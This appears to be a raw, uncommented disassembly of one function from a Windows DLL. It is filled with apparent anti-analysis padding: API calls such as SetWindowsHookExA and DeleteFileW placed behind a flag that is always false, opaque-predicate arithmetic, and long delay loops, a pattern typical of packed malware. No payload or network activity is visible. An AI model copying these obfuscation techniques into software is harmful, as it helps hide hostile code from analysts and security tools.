cmp dword [ebp - 0x18], 2
jl 0x1001c177
push 4
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1001c1a7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x200], 0x96960f57
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001c196
mov dword [ebp - 0x200], ebx
jmp 0x1001c1cb
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x3ec], 0xfffffff6
inc dword [ebp - 0x200]
cmp dword [ebp - 0x200], 2
jl 0x1001c1b4
cmp byte [ebp - 0x25], 0
je 0x1001c428
mov dword [ebp - 0x34], 0xf80c3414
mov dword [ebp - 0x2c], 0x3c67ee39
mov dword [ebp - 0x50], ecx
push ecx
mov dword [ebp - 0x50], 0xfffffffc
lea ecx, [ebp - 0x174]
mov dword [ebp - 0x50], 0x13d0bb9
call fcn.1000e8c4
push 4
pop edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x1c], 0xcff26af9
mov dword [ebp - 0x5c], 0xd231
mov dword [ebp - 0x18], ebx
jmp 0x1001c237
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x80], 0x9beb0647
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1001c229
mov dword [ebp - 0x18], ebx
jmp 0x1001c254
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x174]
mov dword [eax + ecx*4], 0xf2301355
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001c241
mov dword [ebp - 0x18], ebx
jmp 0x1001c26f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2f0], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001c25e
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001c2a5
push 0x1e34
push 0x1593
push 0x1c7
push 0xb58
push 0x17a3
push ebx
push ebx
push ebx
push ebx
push 0x1174
call dword [sym.imp.USER32.dll_DrawStateW]
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x4c], ecx
test eax, eax
jne 0x1001c2bf
mov eax, ebx
cmp dword [ecx + 0xc], ebx
je 0x1001c2c1
mov eax, edi
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x80]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x80]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
cmp ecx, 0x39bf
mov ecx, dword [ebp - 0x2c]
setne dl
add ecx, 0xae77ab39
add ecx, edx
mov dword [ebp - 0x2f0], ecx
mov eax, dword [ebp - 0x24]
add eax, ecx
cmp dword [ebp - 0x80], eax
jge 0x1001c3dd
push edi
lea ecx, [ebp - 0x368]
call fcn.1000e8c4
mov dword [ebp - 0x30], ebx
jmp 0x1001c334
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x368]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1001c325
mov dword [ebp - 0x24], ebx
jmp 0x1001c34c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x80], 0x2699ff93
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1001c33e
mov dword [ebp - 0x1c], 0x10
cmp dword [ebp - 0x1c], 0x32
jge 0x1001c3d0
mov edi, dword [ebp - 0x174]
mov dword [ebp - 0x40], 0x7e94
xor edx, edx
mov eax, dword [ebp - 0x2f0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x368]
mov eax, dword [edi + 4]
cmp eax, dword [ecx]
mov esi, dword [ecx]
mov ecx, dword [ebp - 0x5c]
setg dl
add ecx, edx
sub ecx, esi
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, esi
mov ecx, dword [ebp - 0x4c]
setge al
mov dword [ecx + 0xc], eax
mov dword [ebp - 0x2c], ebx
jmp 0x1001c3bf
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x80], ebx
jne 0x1001c3c4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1001c3b3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x32
jl 0x1001c364
xor edi, edi
inc edi
lea ecx, [ebp - 0x368]
call fcn.1000e920
jmp 0x1001c3ff
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jl 0x1001c3ff
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x174]
add ecx, esi
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x80], ecx
dec dword [ebp - 0x34]
jns 0x1001c3e5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x174]
call fcn.1000e920
push 0xaf7
push 0x16a9
push 0xff
push 0x6cc
call dword [sym.imp.USER32.dll_CheckRadioButton]
inc dword [ebp - 0x54]
jmp 0x1001be4d
inc dword [ebp - 0x38]
jmp 0x1001be39
mov dword [ebp - 0x18], 0x2cb13638
mov dword [ebp - 0x40], 0x589b5833
mov dword [ebp - 0x30], ebx
jmp 0x1001c45c
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xb8], 0x3342eb9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001c44b
mov dword [ebp - 0x18], ebx
jmp 0x1001c513
mov dword [ebp - 0x14], 6
lea ecx, [ebp - 0x308]
call fcn.1000e8c4
mov dword [ebp - 0x30], ebx
jmp 0x1001c494
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x308]
mov dword [eax + ecx*4], 0xb8f6
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1001c481
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xb8], ebx
je 0x1001c4cb
mov eax, dword [ebp - 0x18]
mov ecx, edi
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
add eax, dword [ebp - 0x18]
jne 0x1001c4cd
mov ecx, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb8]
add eax, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], edi
jg 0x1001c505
mov esi, dword [ebp - 0x308]
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001c4fa
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
inc dword [esi + 4]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1001c4ea
lea ecx, [ebp - 0x308]
call fcn.1000e920
inc dword [ebp - 0x18]
push 3
cmp dword [ebp - 0x18], edi
jle 0x1001c46a
mov eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0x3c8]
sub eax, 0x7b7e
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], edi
call fcn.1000e8c4
mov dword [ebp - 0x4c], 0xa88a
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x5c], 0xfffffffe
mov dword [ebp - 0x54], ebx
jmp 0x1001c567
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3c8]
mov dword [eax + ecx*4], 0x7a68fab8
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jl 0x1001c554
mov dword [ebp - 0x54], ebx
jmp 0x1001c583
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x43c], 0xe8bfa085
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jl 0x1001c572
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, edi
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul ecx, ecx, 0xfffffff7
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
cmp ecx, 0xc6f7
jge 0x1001c5d0
mov eax, ebx
cmp dword [ebp - 0x18], ebx
je 0x1001c5d2
mov eax, edi
mov edx, dword [ebp - 0x3c8]
mov dword [edx + 4], eax
test eax, eax
jne 0x1001c5e2
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x4c]
jne 0x1001c5fd
mov ecx, edi
cmp dword [ebp - 0x18], ebx
jne 0x1001c5ff
mov ecx, ebx
mov eax, dword [ebp - 0x43c]
add eax, ecx
xor ecx, ecx
cmp eax, 0x4615
setne cl
cmp ecx, dword [ebp - 0x5c]
jne 0x1001c61d
mov eax, ebx
cmp dword [edx + 4], ebx
je 0x1001c61f
mov eax, edi
mov dword [ebp - 0x43c], eax
lea ecx, [ebp - 0x3c8]
call fcn.1000e920
mov esi, 0x1006587c
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x18], ebx
jmp 0x1001c650
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4c8], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001c643
mov dword [ebp - 0x18], ebx
jmp 0x1001c668
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5fc], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1001c65b
mov dword [ebp - 0x38], 2
cmp dword [ebp - 0x38], ebx
jl 0x1001c6a2
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x14], ebx
jmp 0x1001c697
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c8], 0xe77dd688
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001c686
dec dword [ebp - 0x38]
jns 0x1001c67a
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001c6bd
push 0xf37
push ebx
push ebx
push 0x1bf1
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 2
lea ecx, [ebp - 0x41c]
call fcn.1000e8c4
mov dword [ebp - 0x38], 0x13532fe2
mov dword [ebp - 0x50], 0x2a8358bd
mov dword [ebp - 0x50], 0xf0bc5021
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x50], 0x6652d0da
mov dword [ebp - 0x30], ebx
jmp 0x1001c705
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x41c]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001c6f2
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x38], ebx
jl 0x1001c778
mov dword [ebp - 0x30], 0x20002526
mov dword [ebp - 0x30], ebx
jmp 0x1001c730
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x61c], 2
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jl 0x1001c71f
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001c74b
push ebx
push 0x18c5
call dword [sym.imp.USER32.dll_EndPaint]
mov dword [ebp - 0x30], ebx
jmp 0x1001c76e
mov dword [ebp - 0x4c], 0xffffffff
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001c768
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
inc dword [ebp - 0x4c]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jle 0x1001c750
dec dword [ebp - 0x38]
jns 0x1001c713
lea ecx, [ebp - 0x41c]
call fcn.1000e920
mov dword [ebp - 0x18], 0x2cb13638
mov dword [ebp - 0x40], 0x589b5833
mov dword [ebp - 0x48], 0x3f4
cmp dword [ebp - 0x48], 0x41d
jle 0x1001c7e9
mov dword [ebp - 0x60], ebx
mov eax, ebx
mov dword [ebp - 0x44], 0x2083
mov dword [ebp - 0x4c], eax
mov esi, eax
mov edi, 0x91
mov eax, esi
mov ecx, 0x10607538
cdq
push edx
push eax
call fcn.1000e7af
inc esi
dec edi
jne 0x1001c7b7
mov eax, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x60]
add eax, edi
dec dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
jne 0x1001c7b0
inc edi
mov dword [ebp - 0x60], edi
cmp edi, 0x21a0
jl 0x1001c7a4
xor edi, edi
inc edi
mov dword [ebp - 4], 5
cmp dword [ebp - 0x48], 0x2c3
jge 0x1001c808
mov edx, 0x100082e8
mov ecx, 0x10607538
call fcn.1001021f
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0x23c]
mov dword [ebp - 0x48], edi
push 3
call fcn.1000e8c4
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x320]
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x4c], 0x5ab136
push 2
call fcn.1000e8c4
mov dword [ebp - 0x18], ebx
jmp 0x1001c881
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x23c]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001c871
mov dword [ebp - 0x18], ebx
jmp 0x1001c89f
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x320]
mov dword [eax + ecx*4], 0xeb256cd2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001c88c
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xffffffe2
jne 0x1001c990
mov esi, 0xd9e62b56
mov dword [ebp - 0x2c], 0xfffffffb
mov ecx, edi
mov dword [ebp - 0x40], 0xcf3e4c99
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub ecx, eax
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
cmp esi, ecx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x2c]
je 0x1001c8f4
mov edx, ebx
cmp dword [ebp - 0x48], ebx
je 0x1001c8f6
mov edx, edi
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x23c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, 0xa3c9e4a0
setne cl
cmp ecx, dword [ebp - 0x18]
jle 0x1001c938
mov ecx, edi
cmp dword [ebp - 0x2c], ebx
jne 0x1001c93a
mov ecx, ebx
mov eax, dword [ebp - 0x18]
add eax, ecx
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x9a325cf1
je 0x1001c95b
mov eax, dword [ebp - 0x23c]
cmp dword [eax], ebx
mov eax, ebx
je 0x1001c95d
mov eax, edi
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x320]
mov dword [eax], ecx
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001c983
push ebx
push 0x1825
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe2
je 0x1001c8b7
lea ecx, [ebp - 0x320]
call fcn.1000e920
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.1000e920
mov dword [ebp - 0x30], ebx
jmp 0x1001c9c0
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xb0], 0x3342eb9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001c9af
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], edi
jg 0x1001d1c2
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x50], 2
mov dword [ebp - 0x30], ebx
jmp 0x1001c9f6
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1c0], 0xfffffff9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1001c9e5
mov dword [ebp - 0x30], 0xa
jmp 0x1001ca3e
mov dword [ebp - 0x14], 0x5ba77230
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001ca20
push ebx
push 0x1763
call dword [sym.imp.USER32.dll_GetWindowPlacement]
mov dword [ebp - 0x14], ebx
jmp 0x1001ca36
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c0], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001ca25
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe6
jle 0x1001ca04
mov dword [ebp - 0x2c], 6
lea ecx, [ebp - 0x338]
push 3
call fcn.1000e8c4
mov dword [ebp - 4], 8
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x1c], 0x928fbc78
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1c]
test eax, eax
jne 0x1001ca85
cmp dword [ebp - 0x1c], 0xf6802998
mov edx, ebx
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x1c]
je 0x1001ca87
mov edx, edi
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp edx, edi
sete al
cmp ecx, eax
jge 0x1001cac6
cmp dword [ebp - 0x1c], ebx
je 0x1001cac6
mov dword [ebp - 0x40], 0x468a
mov dword [ebp - 0x1c], 0xfffffff0
jmp 0x1001cabe
cmp dword [ebp - 0x40], ebx
jne 0x1001cadf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x19
jle 0x1001cab6
jmp 0x1001cadf
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001cadf
push 0x240e
push 0x1950
call dword [sym.imp.KERNEL32.dll_Beep]
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 0xffffffea
jge 0x1001cbc8
mov dword [ebp - 0x24], 0x8ecf54c3
dec dword [ebp - 0x24]
mov dword [ebp - 0x4c], 0x6876
cmp dword [ebp - 0x4c], 0x6a78
jle 0x1001cb4f
mov ecx, ebx
mov dword [ebp - 0x38], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
lea eax, [ecx + edx]
mov ecx, 0x10607538
cdq
push edx
push eax
call fcn.1000e7af
mov ecx, dword [ebp - 0x38]
inc esi
cmp esi, 0x2a26
jl 0x1001cb16
inc edi
cmp edi, 0x11b
jl 0x1001cb14
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x2f4c
jl 0x1001cb12
xor edi, edi
inc edi
mov dword [ebp - 0x24], 4
jmp 0x1001cb70
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001cb6d
push ebx
push 0xa3e
call dword [sym.imp.USER32.dll_GetWindowInfo]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x12
je 0x1001cb58
mov byte [ebp - 4], 9
cmp dword [ebp - 0x4c], 0x668b
jge 0x1001cbb9
mov edx, 0x10008370
mov ecx, 0x10607538
call fcn.1001021f
jmp 0x1001cbb9
mov dword [ebp - 4], 8
dec dword [ebp - 0x30]
jmp 0x1001cae9
mov dword [ebp - 0x30], ebx
jmp 0x1001cbe0
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x338]
mov dword [eax + ecx*4], 0xb8f6
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1001cbcd
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb0]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xb0], ebx
je 0x1001cc17
mov eax, dword [ebp - 0x18]
mov ecx, edi
mov eax, dword [ebp + eax*4 - 0xb0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xb0]
add eax, dword [ebp - 0x18]
jne 0x1001cc19
mov ecx, ebx
mov eax, dword [ebp - 0x18]
push 2
mov eax, dword [ebp + eax*4 - 0xb0]
add eax, ecx
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0x25b9b55b
call fcn.1000e8c4
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x50], 0x1c3a23fe
mov dword [ebp - 0x2c], ebx
jmp 0x1001cc5f
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x448]
mov dword [eax + ecx*4], 0x6893
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x1001cc4c
mov dword [ebp - 0x2c], ebx
jmp 0x1001cc7b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3e4], 9
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1001cc6a
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xffffffe4
jle 0x1001cdaa
mov dword [ebp - 0x38], 0x260417be
mov dword [ebp - 0x4c], 0x76d9
cmp dword [ebp - 0x4c], 0x7915
jle 0x1001ccf0
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x57c]
cdq
push edx
push eax
call fcn.1000d330
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001ccc6
mov eax, dword [eax]
push eax
call fcn.10048556
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x57c]
call fcn.1000ec13
inc esi
cmp esi, 0x596
jl 0x1001cca8
inc edi
cmp edi, 0x2a1b
jl 0x1001cca6
xor edi, edi
inc edi
mov dword [ebp - 0x50], 3
cmp dword [ebp - 0x4c], 0x76a8
jge 0x1001cd0b
push 0x100083bc
call fcn.10048556
pop ecx
mov dword [ebp - 4], 0xb
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001cd2f
push 0x1b81
push ebx
push ebx
push ebx
push 0xc0b
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x38], ebx
jl 0x1001cda2
mov dword [ebp - 0x14], 4
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001cd52
push 0x105
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov dword [ebp - 0x14], ebx
jmp 0x1001cd98
push 2
lea ecx, [ebp - 0x380]
call fcn.1000e8c4
mov dword [ebp - 0x30], ebx
jmp 0x1001cd7c
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x380]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001cd69
mov eax, dword [ebp - 0x380]
lea ecx, [ebp - 0x380]
dec dword [eax]
call fcn.1000e920
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1001cd57
dec dword [ebp - 0x38]
jns 0x1001cd37
dec dword [ebp - 0x24]
jmp 0x1001cc83
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 8
call fcn.1000e920
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], edi
jg 0x1001d1ab
mov byte [ebp - 0x1d], bl
mov dword [ebp - 0x4c], 0x1eb2
cmp dword [ebp - 0x4c], 0x1f0d
jle 0x1001ce43
push 0x268a
push 0x154
push 0x1f4e
push 0xf19
push 0x552
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x528]
cdq
push edx
push eax
call fcn.1000d330
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001ce19
mov eax, dword [eax]
push eax
call fcn.10048556
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x528]
call fcn.1000ec13
inc esi
cmp esi, 0x474e
jl 0x1001cdfb
inc edi
cmp edi, 0x91c
jl 0x1001cdf9
xor edi, edi
inc edi
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x4c], 0x1dee
jge 0x1001ce5a
push 0x100083f8
call fcn.10048556
pop ecx
mov dword [ebp - 4], 8
mov dword [ebp - 0x40], 0xc3ad3b31
mov dword [ebp - 0x30], 0x1a
jmp 0x1001ce8e
mov dword [ebp - 0x40], edi
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1001ce85
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffea
jle 0x1001ce71
cmp byte [ebp - 0x1d], 0
je 0x1001d060
mov dword [ebp - 0x4c], 0x52d0
cmp dword [ebp - 0x4c], 0x56ab
jle 0x1001ced8
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x10607538
and eax, edi
cdq
push edx
push eax
call fcn.1000e7af
inc esi
cmp esi, 0x3b9a
jl 0x1001ceb2
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x4c], 0x4f11
jge 0x1001cf1b
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x50], 0xe3cb5af9
mov dword [ebp - 0x40], 0x4102249
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 7
cmp dword [ebp - 0x24], ebx
jle 0x1001d19a
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], 0x6d35
cmp dword [ebp - 0x4c], 0x6ec9
jle 0x1001d0cc
mov eax, dword [ebp - 0x338]
inc dword [eax + 4]
inc dword [ebp - 0x2c]
jmp 0x1001cdbc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x338]
call fcn.1000e920
inc dword [ebp - 0x18]
jmp 0x1001c9c9
mov eax, dword [ebp - 0xb0]
lea ecx, [ebp - 0x2a8]
sub eax, 0x7b7e
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], edi
push 3
call fcn.1000e8c4
mov dword [ebp - 0x4c], 0xa88a
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x5c], 0xfffffffe
mov dword [ebp - 0x2c], ebx
jmp 0x1001d20d
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2a8]
mov dword [eax + ecx*4], 0x7a68fab8
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1001d1fa
mov dword [ebp - 0x2c], ebx
jmp 0x1001d229
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3e0], 0xe8bfa085
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1001d218
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, edi
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul ecx, ecx, 0xfffffff7
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp eax, edx
setg cl
cmp ecx, 0xc6f7
jge 0x1001d276
mov eax, ebx
cmp dword [ebp - 0x18], ebx
je 0x1001d278
mov eax, edi
mov edx, dword [ebp - 0x2a8]
mov dword [edx + 4], eax
test eax, eax
jne 0x1001d288
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x4c]
jne 0x1001d2a3
mov ecx, edi
cmp dword [ebp - 0x18], ebx
jne 0x1001d2a5
mov ecx, ebx
mov eax, dword [ebp - 0x3e0]
add eax, ecx
xor ecx, ecx
cmp eax, 0x4615
setne cl
cmp ecx, dword [ebp - 0x5c]
jne 0x1001d2c3
mov eax, ebx
cmp dword [edx + 4], ebx
je 0x1001d2c5
mov eax, edi
mov dword [ebp - 0x3e0], eax
lea ecx, [ebp - 0x2a8]
call fcn.1000e920
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x1c], 0x928fbc78
